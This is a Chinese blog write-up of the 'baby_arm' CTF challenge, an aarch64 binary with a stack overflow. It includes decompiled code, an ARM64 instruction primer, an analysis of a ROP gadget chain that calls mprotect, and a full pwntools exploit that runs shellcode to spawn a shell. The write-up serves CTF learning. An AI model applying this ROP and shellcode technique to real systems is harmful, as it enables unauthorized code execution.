本文最后更新于:星期三, 一月 2日 2019, 4:09 下午

baby_arm

题如其名,这是一道arm下的pwn,用file查看了下文件信息

zs0zrc@zs0zrc-PC:~/pwn/babyarm$ file arm_pwn 
arm_pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped

这是一道aarch64的pwn题,我之前ubuntu的环境有点小问题,所以我配了一个deepin的环境搭建教程

安装下共享库

zs0zrc@zs0zrc-PC:~/pwn/babyarm$ apt-cache search "libc6" | grep arm  
libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-armel-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-armhf-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dev-armel-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dev-armhf-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
zs0zrc@zs0zrc-PC:~/pwn/babyarm$ sudo apt-get install libc6-arm64-cross

用ida反编译了下文件,发现漏洞点很明显,就是一个栈溢出

__int64 sub_400818()
{
  sub_400760();
  write(1, "Name:", 5uLL);
  read(0, &unk_411068, 0x200uLL);
  sub_4007F0();
  return 0LL;
}

ssize_t sub_4007F0()
{
  __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0, &v1, 0x200uLL); //stack overflow
}

程序先向bss段写入内容,然后再读取一个字符串,很明显这应该是用rop来做,但是我arm64的rop不是很会,arm64的汇编不是很懂,找不到gadget,就 ……..

这里看了大佬的writeup,发现是用rop做,先利用rop执行mprotect函数,设置bss段为可执行,往bss段写入shellcode,然后去执行shellcode来getshell

这里找的gadget类似于万用gadget

1541473106731

先学习下amd64常用汇编指令

MOV    X1,X0         ;将寄存器X0的值传送到寄存器X1
ADD    X0,X1,X2     ;寄存器X1和X2的值相加后传送到X0
SUB    X0,X1,X2     ;寄存器X1和X2的值相减后传送到X0
AND    X0,X0,#0xF    ; X0的值与0xF相位与后的值传送到X0
ORR    X0,X0,#9      ; X0的值与9相位或后的值传送到X0
EOR    X0,X0,#0xF    ; X0的值与0xF相异或后的值传送到X0
LDR    X5,[X6,#0x08]        ;X6寄存器加0x08的和的地址值内的数据传送到X5
STR X0, [SP, #0x8]         ;X0寄存器的数据传送到SP+0x8地址值指向的存储空间
STP  x29, x30, [sp, #0x10]    ;入栈指令
LDP  x29, x30, [sp, #0x10]    ;出栈指令
CBZ  ;比较(Compare),如果结果为零(Zero)就转移(只能跳到后面的指令)
CBNZ ;比较,如果结果非零(Non Zero)就转移(只能跳到后面的指令)
CMP  ;比较指令,相当于SUBS,影响程序状态寄存器CPSR 
B/BL  ;绝对跳转#imm, 返回地址保存到LR(X30)
RET   ;子程序返回指令,返回地址默认保存在LR(X30)

然后分析下这个gadget,通过loc_4008CC 函数,可以控制x19,x20,x21,x22,x23,x24,x29和x30寄存器的内容,而x30寄存器存储着返回地址,通过loc_4008AC函数,可以控制w0,x1,x2,x3寄存器的内容,并且可以执行call x3

loc_4008AC                            ; CODE XREF: sub_400868+60↓j
                 LDR             X3, [X21,X19,LSL#3] ;将x21寄存器的地址指向的内容赋给x3寄存器
                 MOV             X2, X22    ;将x22寄存器的内容赋给x2
                 MOV             X1, X23    ;将x23寄存器的内容赋给x1
                 MOV             W0, W24    ;将W24寄存器的内容赋给W0
                 ADD             X19, X19, #1    ;x19寄存器加一
                 BLR             X3    ;跳转到x3寄存器指向的地址
                 CMP             X19, X20    ;比较x19和x20是否相等
                 B.NE            loc_4008AC    ;如果不相等,就跳回loc_4008AC继续执行

loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
                 LDP             X19, X20, [SP,#0x10]    ;将sp+0x10,sp+0x18处的内容给x19,x20
                 LDP             X21, X22, [SP,#0x20]    ;将sp+0x20,sp+0x28处的内容给x21,x22
                 LDP             X23, X24, [SP,#0x30]    ;将sp+0x30,sp+0x38处的内容给x23,x24
                 LDP             X29, X30, [SP],#0x40    ;将sp,sp+0x8处的内容给x29,x30
                 RET

布置好的栈如下,在执行完loc_4008CC 函数后,x30为loc_4008AC 的地址,所以程序会跳转到loc_4008AC 函数,会将x21寄存器的地址指向的内容赋给x3寄存器,然后将对应的参数放入x0,x1,x2寄存器中,接着会执行blr x3语句,这相当于 call x3,所以就会调用构造好的mprotect(0x411000,0x1000,0x5)函数,调用完mprotect函数后会将继续向下执行,比较x19和x20是否相等,这里提前构造好,使它们相等,然后继续向下执行。执行一连串的ldp指令后,将shellcode的地址赋给x30,那么最后就会ret到shellcode处去执行它。

00:0000│ sp  0x40007ffe40 ◂— 0x0    --> x29
01:0008│     0x40007ffe48 —▸ 0x4008ac ◂— ldr    x3, [x21, x19, lsl #3]    --> x30
02:0010│     0x40007ffe50 ◂— 0x0    --> x19    
03:0018│     0x40007ffe58 ◂— 0x1    --> x20
04:0020│     0x40007ffe60 —▸ 0x411168 —▸ 0x400600 (mprotect@plt) --> x21 -->x3
05:0028│     0x40007ffe68 ◂— 0x5    --> x22    -->x2
06:0030│     0x40007ffe70 ◂— 0x1000  -->x23    -->x1
07:0038│     0x40007ffe78 —▸ 0x411000 -->x24-->w0
08:0040│     0x40007ffe80 ◂— 0x0    
09:0048│     0x40007ffe88 —▸ 0x411068 -->下一个x30,shellcode的地址
0a:0050│     0x40007ffe90 ◂— 0xdeadbeef    *6
            ...........
  • 这里用pwntools生成aarch64的shellcode会报错 解决方法(Ubuntu下)

    $ sudo apt-get install software-properties-common
    $ sudo apt-add-repository ppa:pwntools/binutils
    $ sudo apt-get update
    $ sudo apt-get install binutils-aarch64-linux-gnu
    

exp:

#!/usr/bin/env python
from pwn import *
local=0
debug = 0

if local:
    p = remote("106.75.126.171","33865")
elif debug:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "pwn"])    
else:
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "pwn"])

elf = ELF("pwn")
context.binary = "pwn"
context.log_level = "debug"


def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)    #这里是存放mprotect函数的地址

size = 72
gadget1 = 0x4008CC
gadget2 = 0x4008AC
shellcode_add = 0x411068
mprotect_add = 0x411168
payload = cyclic(72) + flat([gadget1 , 0 , gadget2 , 0 , 1 , mprotect_add , 5 , 0x1000 , 0x411000 , 0 , shellcode_add] , [0xdeadbeef]*6)

rc()
sl(buf)
sl(payload)
p.interactive()

momo_serve


pwn ARM

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!